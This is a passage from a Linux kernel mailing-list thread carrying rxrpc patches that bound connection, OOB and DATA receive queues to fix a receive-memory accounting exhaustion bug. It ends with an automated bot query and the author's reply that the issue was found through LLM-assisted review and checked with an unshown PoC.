* Clean up a dead connection.
*/
@@ -329,7 +342,7 @@ static void rxrpc_clean_up_connection(struct work_struct *work)
conn->peer->pmtud_pending = true;
}
- rxrpc_purge_queue(&conn->rx_queue);
+ rxrpc_purge_conn_queue(conn);
rxrpc_free_skb(conn->tx_response, rxrpc_skb_put_response);
rxrpc_kill_client_conn(conn);
@@ -338,15 +351,15 @@ static void rxrpc_clean_up_connection(struct work_struct *work)
key_put(conn->key);
rxrpc_put_bundle(conn->bundle, rxrpc_bundle_put_conn);
rxrpc_put_peer(conn->peer, rxrpc_peer_put_conn);
- rxrpc_put_local(conn->local, rxrpc_local_put_kill_conn);
/* Drain the Rx queue. Note that even though we've unpublished, an
* incoming packet could still be being added to our Rx queue, so we
* will need to drain it again in the RCU cleanup handler.
*/
- rxrpc_purge_queue(&conn->rx_queue);
+ rxrpc_purge_conn_queue(conn);
page_frag_cache_drain(&conn->tx_data_alloc);
+ rxrpc_put_local(conn->local, rxrpc_local_put_kill_conn);
call_rcu(&conn->rcu, rxrpc_rcu_free_connection);
}
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index 634a6e1cab87a..8679402c03e1b 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -528,6 +528,8 @@ int rxrpc_io_thread(void *data)
if (skb->mark == RXRPC_SKB_MARK_PACKET)
rxrpc_skb_orphan_udp(skb);
+ else if (skb->mark == RXRPC_SKB_MARK_SERVICE_CONN_SECURED)
+ rxrpc_uncharge_async_queue(sp->poke_conn->local, skb);
switch (skb->mark) {
case RXRPC_SKB_MARK_PACKET:
skb->priority = 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index f519a93059244..8e43f77d43683 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -137,6 +137,7 @@ static struct rxrpc_local *rxrpc_alloc_local(struct net *net,
skb_queue_head_init(&local->rx_delay_queue);
#endif
skb_queue_head_init(&local->rx_queue);
+ atomic_long_set(&local->rx_async_queue_bytes, 0);
INIT_LIST_HEAD(&local->conn_attend_q);
INIT_LIST_HEAD(&local->call_attend_q);
diff --git a/net/rxrpc/oob.c b/net/rxrpc/oob.c
index c80ee2487d094..5ab4ec5ad8c31 100644
--- a/net/rxrpc/oob.c
+++ b/net/rxrpc/oob.c
@@ -46,7 +46,8 @@ bool rxrpc_notify_socket_oob(struct rxrpc_call *call, struct sk_buff *skb)
sk = &rx->sk;
spin_lock_irq(&rx->recvmsg_lock);
- if (sk->sk_state < RXRPC_CLOSE) {
+ if (sk->sk_state < RXRPC_CLOSE &&
+ rxrpc_charge_async_queue(sp->chall.conn->local, skb)) {
skb->skb_mstamp_ns = rx->oob_id_counter++;
rxrpc_get_skb(skb, rxrpc_skb_get_post_oob);
skb_queue_tail(&rx->recvmsg_oobq, skb);
@@ -215,6 +216,7 @@ static int rxrpc_respond_to_oob(struct rxrpc_sock *rx,
switch (skb->mark) {
case RXRPC_OOB_CHALLENGE:
+ rxrpc_uncharge_async_queue(sp->chall.conn->local, skb);
rxrpc_put_connection(sp->chall.conn, rxrpc_conn_put_oob);
break;
}
@@ -329,6 +331,7 @@ void rxrpc_kernel_free_oob(struct sk_buff *oob)
switch (oob->mark) {
case RXRPC_OOB_CHALLENGE:
+ rxrpc_uncharge_async_queue(sp->chall.conn->local, oob);
rxrpc_put_connection(sp->chall.conn, rxrpc_conn_put_oob);
break;
}
diff --git a/net/rxrpc/skbuff.c b/net/rxrpc/skbuff.c
index e2169d1a14b5f..a5113a284456e 100644
--- a/net/rxrpc/skbuff.c
+++ b/net/rxrpc/skbuff.c
@@ -58,6 +58,39 @@ void rxrpc_free_skb(struct sk_buff *skb, enum rxrpc_skb_trace why)
}
}
+/*
+ * Charge an skb retained outside UDP receive-memory accounting.
+ */
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+ struct sock *sk = local->socket->sk;
+ long rcvbuf;
+ long queued;
+
+ rcvbuf = READ_ONCE(sk->sk_rcvbuf);
+
+ for (;;) {
+ queued = atomic_long_read(&local->rx_async_queue_bytes);
+ if (queued &&
+ (queued >= rcvbuf ||
+ (long)skb->truesize >= rcvbuf - queued)) {
+ sk_drops_inc(sk);
+ return false;
+ }
+ if (atomic_long_cmpxchg(&local->rx_async_queue_bytes, queued,
+ queued + (long)skb->truesize) == queued)
+ return true;
+ }
+}
+
+/*
+ * Release the asynchronous receive charge on an skb.
+ */
+void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+ atomic_long_sub(skb->truesize, &local->rx_async_queue_bytes);
+}
+
/*
* Clear a queue of socket buffers.
*/
@@ -66,7 +99,15 @@ void rxrpc_purge_queue(struct sk_buff_head *list)
struct sk_buff *skb;
while ((skb = skb_dequeue((list))) != NULL) {
- int n = atomic_dec_return(select_skb_count(skb));
+ int n;
+
+ if (skb->mark == RXRPC_SKB_MARK_SERVICE_CONN_SECURED) {
+ struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+ rxrpc_uncharge_async_queue(sp->poke_conn->local, skb);
+ rxrpc_put_connection(sp->poke_conn, rxrpc_conn_put_poke);
+ }
+ n = atomic_dec_return(select_skb_count(skb));
trace_rxrpc_skb(skb, refcount_read(&skb->users), n,
rxrpc_skb_put_purge);
consume_skb(skb);
--
2.43.0
^ permalink raw reply related [flat|nested] 6+ messages in thread
* [PATCH net v9 3/3] rxrpc: bound DATA receive queues
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
@ 2026-10-14 16:58 ` Zihan Xi
2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
3 siblings, 0 replies; 6+ messages in thread
From: Zihan Xi @ 2026-10-14 16:58 UTC (permalink / raw)
To: linux-afs, netdev
Cc: dhowells, marc.dionne, davem, edumazet, pabeni, horms, vega, root,
zihanx
DATA packets retained in per-call buffers are not covered by common socket
receive-memory accounting. Separate calls can therefore accumulate more
DATA than the shared limit. The receive window also advances as packets
arrive, while rx_consumed advances only as the application reads them, so a
single call can retain more unconsumed DATA than the window should allow.
Charge accepted DATA to the per-local asynchronous receive budget and base
the per-call receive window on rx_consumed. Account split jumbo skbs and
release the charge when packets are consumed or purged.
Fixes: 248f219cb8bc ("rxrpc: Rewrite the data and ack handling code")
Fixes: 5d7edbc9231e ("rxrpc: Get rid of the Rx ring")
Cc: stable@vger.kernel.org
Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v9:
- Split DATA receive-window and per-local aggregate queue accounting
from connection/OOB queue budgeting.
- Attribute the aggregate DATA accounting gap to 248f219cb8bc and retain
5d7edbc9231e for the receive-window accounting issue.
- v8 Link: https://lore.kernel.org/all/cover.1791428529.git.zihanx@nebusec.ai/
---
net/rxrpc/ar-internal.h | 23 ++++++++++-
net/rxrpc/call_event.c | 1 +
net/rxrpc/call_object.c | 4 +-
net/rxrpc/input.c | 83 +++++++++++++++++++++++++------------
net/rxrpc/recvmsg.c | 3 +-
net/rxrpc/skbuff.c | 92 +++++++++++++++++++++++++++++++++++++----
6 files changed, 168 insertions(+), 38 deletions(-)
diff --git a/net/rxrpc/ar-internal.h b/net/rxrpc/ar-internal.h
index 36fc4609181e1..1f1f49eca8e11 100644
--- a/net/rxrpc/ar-internal.h
+++ b/net/rxrpc/ar-internal.h
@@ -50,6 +50,7 @@ struct key_preparsed_payload;
struct rxrpc_connection;
struct rxrpc_txbuf;
struct rxrpc_txqueue;
+struct rxrpc_async_queue_charge;
struct rxgk_context;
/*
@@ -222,6 +223,15 @@ struct rxrpc_host_header {
u16 serviceId; /* service ID */
} __packed;
+/*
+ * Shared asynchronous receive-memory charge for split jumbo DATA packets.
+ */
+struct rxrpc_async_queue_charge {
+ refcount_t ref;
+ long size;
+ bool charged;
+};
+
/*
* RxRPC socket buffer private variables
* - max 48 bytes (struct sk_buff::cb)
@@ -233,6 +243,11 @@ struct rxrpc_skb_priv {
u16 offset; /* Offset of data */
u16 len; /* Length of data */
};
+ struct {
+ u16 offset;
+ u16 len;
+ struct rxrpc_async_queue_charge *charge;
+ } data;
struct {
rxrpc_seq_t first_ack; /* First packet in acks table */
rxrpc_seq_t prev_ack; /* Highest seq seen */
@@ -1517,8 +1532,12 @@ void rxrpc_new_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_see_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_get_skb(struct sk_buff *, enum rxrpc_skb_trace);
void rxrpc_free_skb(struct sk_buff *, enum rxrpc_skb_trace);
-bool rxrpc_charge_async_queue(struct rxrpc_local *, struct sk_buff *);
-void rxrpc_uncharge_async_queue(struct rxrpc_local *, struct sk_buff *);
+struct rxrpc_async_queue_charge *rxrpc_alloc_async_queue_charge(struct sk_buff *skb);
+void rxrpc_put_async_queue_charge(struct rxrpc_local *local,
+ struct rxrpc_async_queue_charge *charge);
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb);
+void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb);
+void rxrpc_purge_data_queue(struct rxrpc_call *call, struct sk_buff_head *list);
void rxrpc_purge_queue(struct sk_buff_head *);
/*
diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c
index 21be9c86d7a74..9360852604645 100644
--- a/net/rxrpc/call_event.c
+++ b/net/rxrpc/call_event.c
@@ -473,6 +473,7 @@ bool rxrpc_input_call_event(struct rxrpc_call *call)
out:
if (__rxrpc_call_is_complete(call)) {
timer_delete_sync(&call->timer);
+ rxrpc_purge_queue(&call->rx_queue);
if (!test_bit(RXRPC_CALL_DISCONNECTED, &call->flags))
rxrpc_disconnect_call(call);
if (call->security)
diff --git a/net/rxrpc/call_object.c b/net/rxrpc/call_object.c
index 817ed9acb91e6..8f115be491249 100644
--- a/net/rxrpc/call_object.c
+++ b/net/rxrpc/call_object.c
@@ -553,9 +553,9 @@ static void rxrpc_cleanup_tx_buffers(struct rxrpc_call *call)
*/
static void rxrpc_cleanup_rx_buffers(struct rxrpc_call *call)
{
- rxrpc_purge_queue(&call->recvmsg_queue);
+ rxrpc_purge_data_queue(call, &call->recvmsg_queue);
rxrpc_purge_queue(&call->rx_queue);
- rxrpc_purge_queue(&call->rx_oos_queue);
+ rxrpc_purge_data_queue(call, &call->rx_oos_queue);
kfree(call->rx_dec_buffer);
}
diff --git a/net/rxrpc/input.c b/net/rxrpc/input.c
index 73cafe6bfa9f5..6f0ba50097390 100644
--- a/net/rxrpc/input.c
+++ b/net/rxrpc/input.c
@@ -479,7 +479,9 @@ static void rxrpc_input_queue_data(struct rxrpc_call *call, struct sk_buff *skb,
* Process a DATA packet.
*/
static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
- bool *_notify, rxrpc_serial_t *_ack_serial, int *_ack_reason)
+ bool *_notify, rxrpc_serial_t *_ack_serial,
+ int *_ack_reason,
+ struct rxrpc_async_queue_charge **_charge)
{
struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
struct sk_buff *oos;
@@ -487,9 +489,13 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
unsigned int sack = call->ackr_sack_base;
rxrpc_seq_t window = call->ackr_window;
rxrpc_seq_t wtop = call->ackr_wtop;
- rxrpc_seq_t wlimit = window + call->rx_winsize - 1;
+ /* Bound queued DATA by the application's receive window. */
+ rxrpc_seq_t wlimit = smp_load_acquire(&call->rx_consumed) +
+ call->rx_winsize;
rxrpc_seq_t seq = sp->hdr.seq;
bool last = sp->hdr.flags & RXRPC_LAST_PACKET;
+ bool set_last = false;
+ unsigned int slot = 0;
int ack_reason = -1;
rxrpc_inc_stat(call->rxnet, stat_rx_data);
@@ -498,10 +504,24 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
if (sp->hdr.flags & RXRPC_JUMBO_PACKET)
rxrpc_inc_stat(call->rxnet, stat_rx_data_jumbo);
+ if (after(seq, call->rx_highest_seq))
+ call->rx_highest_seq = seq;
+
+ trace_rxrpc_rx_data(call->debug_id, seq, serial, sp->hdr.flags);
+
+ if (after(seq, wlimit)) {
+ ack_reason = RXRPC_ACK_EXCEEDS_WINDOW;
+ goto send_ack;
+ }
+
if (last) {
- if (test_and_set_bit(RXRPC_CALL_RX_LAST, &call->flags) &&
- seq + 1 != wtop)
- return rxrpc_proto_abort(call, seq, rxrpc_eproto_different_last);
+ if (test_and_set_bit(RXRPC_CALL_RX_LAST, &call->flags)) {
+ if (seq + 1 != wtop)
+ return rxrpc_proto_abort(call, seq,
+ rxrpc_eproto_different_last);
+ } else {
+ set_last = true;
+ }
} else {
if (test_bit(RXRPC_CALL_RX_LAST, &call->flags) &&
after_eq(seq, wtop)) {
@@ -511,17 +531,33 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
}
}
- if (after(seq, call->rx_highest_seq))
- call->rx_highest_seq = seq;
-
- trace_rxrpc_rx_data(call->debug_id, seq, serial, sp->hdr.flags);
-
if (before(seq, window)) {
ack_reason = RXRPC_ACK_DUPLICATE;
goto send_ack;
}
- if (after(seq, wlimit)) {
- ack_reason = RXRPC_ACK_EXCEEDS_WINDOW;
+
+ if (seq != window) {
+ slot = seq - window;
+ sack = (sack + slot) % RXRPC_SACK_SIZE;
+
+ if (call->ackr_sack_table[sack]) {
+ ack_reason = RXRPC_ACK_DUPLICATE;
+ goto send_ack;
+ }
+ }
+
+ sp->data.charge = NULL;
+ if (sp->offset != sizeof(struct rxrpc_wire_header) ||
+ (sp->hdr.flags & RXRPC_JUMBO_PACKET)) {
+ if (!*_charge)
+ *_charge = rxrpc_alloc_async_queue_charge(skb);
+ sp->data.charge = *_charge;
+ }
+ if (!rxrpc_charge_async_queue(call->local, skb)) {
+ sp->data.charge = NULL;
+ if (set_last)
+ clear_bit(RXRPC_CALL_RX_LAST, &call->flags);
+ ack_reason = RXRPC_ACK_NOSPACE;
goto send_ack;
}
@@ -568,19 +604,8 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
call->ackr_sack_base = sack;
} else {
- unsigned int slot;
-
ack_reason = RXRPC_ACK_OUT_OF_SEQUENCE;
-
- slot = seq - window;
- sack = (sack + slot) % RXRPC_SACK_SIZE;
-
- if (call->ackr_sack_table[sack % RXRPC_SACK_SIZE]) {
- ack_reason = RXRPC_ACK_DUPLICATE;
- goto send_ack;
- }
-
- call->ackr_sack_table[sack % RXRPC_SACK_SIZE] |= 1;
+ call->ackr_sack_table[sack] |= 1;
trace_rxrpc_sack(call, seq, sack, rxrpc_sack_oos);
if (after(seq + 1, wtop)) {
@@ -623,6 +648,7 @@ static void rxrpc_input_data_one(struct rxrpc_call *call, struct sk_buff *skb,
*/
static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb)
{
+ struct rxrpc_async_queue_charge *charge = NULL;
struct rxrpc_jumbo_header jhdr;
struct rxrpc_skb_priv *sp = rxrpc_skb(skb), *jsp;
struct sk_buff *jskb;
@@ -644,13 +670,15 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
jskb = skb_clone(skb, GFP_NOFS);
if (!jskb) {
kdebug("couldn't clone");
+ rxrpc_put_async_queue_charge(call->local, charge);
return false;
}
rxrpc_new_skb(jskb, rxrpc_skb_new_jumbo_subpacket);
jsp = rxrpc_skb(jskb);
jsp->offset = offset;
jsp->len = RXRPC_JUMBO_DATALEN;
- rxrpc_input_data_one(call, jskb, ¬ify, &ack_serial, &ack_reason);
+ rxrpc_input_data_one(call, jskb, ¬ify, &ack_serial, &ack_reason,
+ &charge);
rxrpc_free_skb(jskb, rxrpc_skb_put_jumbo_subpacket);
sp->hdr.flags = jhdr.flags;
@@ -664,7 +692,8 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
sp->offset = offset;
sp->len = len;
- rxrpc_input_data_one(call, skb, ¬ify, &ack_serial, &ack_reason);
+ rxrpc_input_data_one(call, skb, ¬ify, &ack_serial, &ack_reason,
+ &charge);
stat_ix = umin(count, ARRAY_SIZE(call->rxnet->stat_rx_jumbo)) - 1;
atomic_inc(&call->rxnet->stat_rx_jumbo[stat_ix]);
@@ -681,9 +710,11 @@ static bool rxrpc_input_split_jumbo(struct rxrpc_call *call, struct sk_buff *skb
trace_rxrpc_notify_socket(call->debug_id, sp->hdr.serial);
rxrpc_notify_socket(call);
}
+ rxrpc_put_async_queue_charge(call->local, charge);
return true;
protocol_error:
+ rxrpc_put_async_queue_charge(call->local, charge);
return false;
}
diff --git a/net/rxrpc/recvmsg.c b/net/rxrpc/recvmsg.c
index efcba4b2e74f0..9f84fc5e74593 100644
--- a/net/rxrpc/recvmsg.c
+++ b/net/rxrpc/recvmsg.c
@@ -118,6 +118,7 @@ static void rxrpc_rotate_rx_window(struct rxrpc_call *call)
skb = skb_dequeue(&call->recvmsg_queue);
rxrpc_see_skb(skb, rxrpc_skb_see_rotate);
+ rxrpc_uncharge_async_queue(call->local, skb);
sp = rxrpc_skb(skb);
tseq = sp->hdr.seq;
@@ -565,7 +566,7 @@ int rxrpc_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
goto not_yet_complete;
call_failed:
- rxrpc_purge_queue(&call->recvmsg_queue);
+ rxrpc_purge_data_queue(call, &call->recvmsg_queue);
call_complete:
ret = rxrpc_recvmsg_term(call, msg);
if (ret < 0)
diff --git a/net/rxrpc/skbuff.c b/net/rxrpc/skbuff.c
index a5113a284456e..3b999200b6fc6 100644
--- a/net/rxrpc/skbuff.c
+++ b/net/rxrpc/skbuff.c
@@ -10,6 +10,7 @@
#include <linux/module.h>
#include <linux/net.h>
#include <linux/skbuff.h>
+#include <linux/slab.h>
#include <net/sock.h>
#include <net/af_rxrpc.h>
#include "ar-internal.h"
@@ -58,10 +59,7 @@ void rxrpc_free_skb(struct sk_buff *skb, enum rxrpc_skb_trace why)
}
}
-/*
- * Charge an skb retained outside UDP receive-memory accounting.
- */
-bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+static bool rxrpc_charge_async_queue_bytes(struct rxrpc_local *local, long size)
{
struct sock *sk = local->socket->sk;
long rcvbuf;
@@ -72,25 +70,105 @@ bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
for (;;) {
queued = atomic_long_read(&local->rx_async_queue_bytes);
if (queued &&
- (queued >= rcvbuf ||
- (long)skb->truesize >= rcvbuf - queued)) {
+ (queued >= rcvbuf || size >= rcvbuf - queued)) {
sk_drops_inc(sk);
return false;
}
if (atomic_long_cmpxchg(&local->rx_async_queue_bytes, queued,
- queued + (long)skb->truesize) == queued)
+ queued + size) == queued)
return true;
}
}
+struct rxrpc_async_queue_charge *rxrpc_alloc_async_queue_charge(struct sk_buff *skb)
+{
+ struct rxrpc_async_queue_charge *charge;
+
+ charge = kzalloc(sizeof(*charge), GFP_NOFS);
+ if (!charge)
+ return NULL;
+
+ refcount_set(&charge->ref, 1);
+ charge->size = skb->truesize + sizeof(*charge);
+ return charge;
+}
+
+void rxrpc_put_async_queue_charge(struct rxrpc_local *local,
+ struct rxrpc_async_queue_charge *charge)
+{
+ if (charge && refcount_dec_and_test(&charge->ref)) {
+ if (charge->charged)
+ atomic_long_sub(charge->size, &local->rx_async_queue_bytes);
+ kfree(charge);
+ }
+}
+
+/*
+ * Charge an skb retained outside UDP receive-memory accounting.
+ */
+bool rxrpc_charge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
+{
+ struct rxrpc_async_queue_charge *charge = NULL;
+ struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+ long size = 0;
+
+ if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA)
+ charge = sp->data.charge;
+
+ if (charge) {
+ bool clone = sp->hdr.flags & RXRPC_JUMBO_PACKET;
+
+ if (!charge->charged) {
+ size = charge->size;
+ if (clone)
+ size += SKB_DATA_ALIGN(sizeof(struct sk_buff));
+ } else if (clone) {
+ size = SKB_DATA_ALIGN(sizeof(struct sk_buff));
+ }
+ if (size && !rxrpc_charge_async_queue_bytes(local, size))
+ return false;
+ charge->charged = true;
+ refcount_inc(&charge->ref);
+ return true;
+ }
+ return rxrpc_charge_async_queue_bytes(local, (long)skb->truesize);
+}
+
/*
* Release the asynchronous receive charge on an skb.
*/
void rxrpc_uncharge_async_queue(struct rxrpc_local *local, struct sk_buff *skb)
{
+ struct rxrpc_async_queue_charge *charge;
+ struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+ if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA) {
+ charge = sp->data.charge;
+ if (charge) {
+ sp->data.charge = NULL;
+ if (sp->hdr.flags & RXRPC_JUMBO_PACKET)
+ atomic_long_sub(SKB_DATA_ALIGN(sizeof(struct sk_buff)),
+ &local->rx_async_queue_bytes);
+ rxrpc_put_async_queue_charge(local, charge);
+ return;
+ }
+ }
atomic_long_sub(skb->truesize, &local->rx_async_queue_bytes);
}
+/*
+ * Purge DATA from a call's receive queue and release its per-local charge.
+ */
+void rxrpc_purge_data_queue(struct rxrpc_call *call, struct sk_buff_head *list)
+{
+ struct sk_buff *skb;
+
+ while ((skb = skb_dequeue(list)) != NULL) {
+ rxrpc_uncharge_async_queue(call->local, skb);
+ rxrpc_free_skb(skb, rxrpc_skb_put_purge);
+ }
+}
+
/*
* Clear a queue of socket buffers.
*/
--
2.43.0
^ permalink raw reply related [flat|nested] 6+ messages in thread
* Re: [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
` (2 preceding siblings ...)
2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
@ 2026-10-14 17:10 ` netdev-bot+sinfo
2026-10-14 17:37 ` zihan xi
3 siblings, 1 reply; 6+ messages in thread
From: netdev-bot+sinfo @ 2026-10-14 17:10 UTC (permalink / raw)
To: Zihan Xi
Cc: linux-afs, netdev, dhowells, marc.dionne, davem, edumazet, pabeni,
horms, vega, root
Hi!
This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:
- How the issue was discovered, e.g. hit in production, hit during
development, syzbot report, manual code inspection, LLM or static
analysis tool scan.
Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.
The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion
2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
@ 2026-10-14 17:37 ` zihan xi
0 siblings, 0 replies; 6+ messages in thread
From: zihan xi @ 2026-10-14 17:37 UTC (permalink / raw)
To: netdev-bot+sinfo
Cc: linux-afs, netdev, dhowells, marc.dionne, davem, edumazet, pabeni,
horms, vega, root
On Thu, Oct 15, 2026 at 1:10 AM <netdev-bot+sinfo@kernel.org> wrote:
>
> Hi!
>
> This is an automated message. This series looks like a fix, but its
> commit messages seem to be missing some information:
>
> - How the issue was discovered, e.g. hit in production, hit during
> development, syzbot report, manual code inspection, LLM or static
> analysis tool scan.
>
> Please do not repost the series just to address the above. Instead,
> reply to this email with the missing information, so that reviewers
> can take it into account. If the series needs another revision for
> other reasons, please include the information in the commit messages
> then.
>
> The evaluation is done by an LLM so it may be wrong, if you think
> that is the case please reply and explain.
Hi,
The issue was identified during development through LLM-assisted
code-path review of RxRPC receive-memory
accounting, followed by manual inspection. We then validated it with
a PoC against the unpatched baseline in a QEMU
guest. It was not reported from production or by syzbot.
Thanks,
Zihan
^ permalink raw reply [flat|nested] 6+ messages in thread
end of thread, other threads:[~2026-10-14 17:37 UTC | newest]
Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-14 16:58 [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 1/3] rxrpc: account encapsulated packets to UDP socket Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 2/3] rxrpc: bound connection and OOB receive queues Zihan Xi
2026-10-14 16:58 ` [PATCH net v9 3/3] rxrpc: bound DATA " Zihan Xi
2026-10-14 17:10 ` [PATCH net v9 0/3] rxrpc: fix encap_rcv skb accounting exhaustion netdev-bot+sinfo
2026-10-14 17:37 ` zihan xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox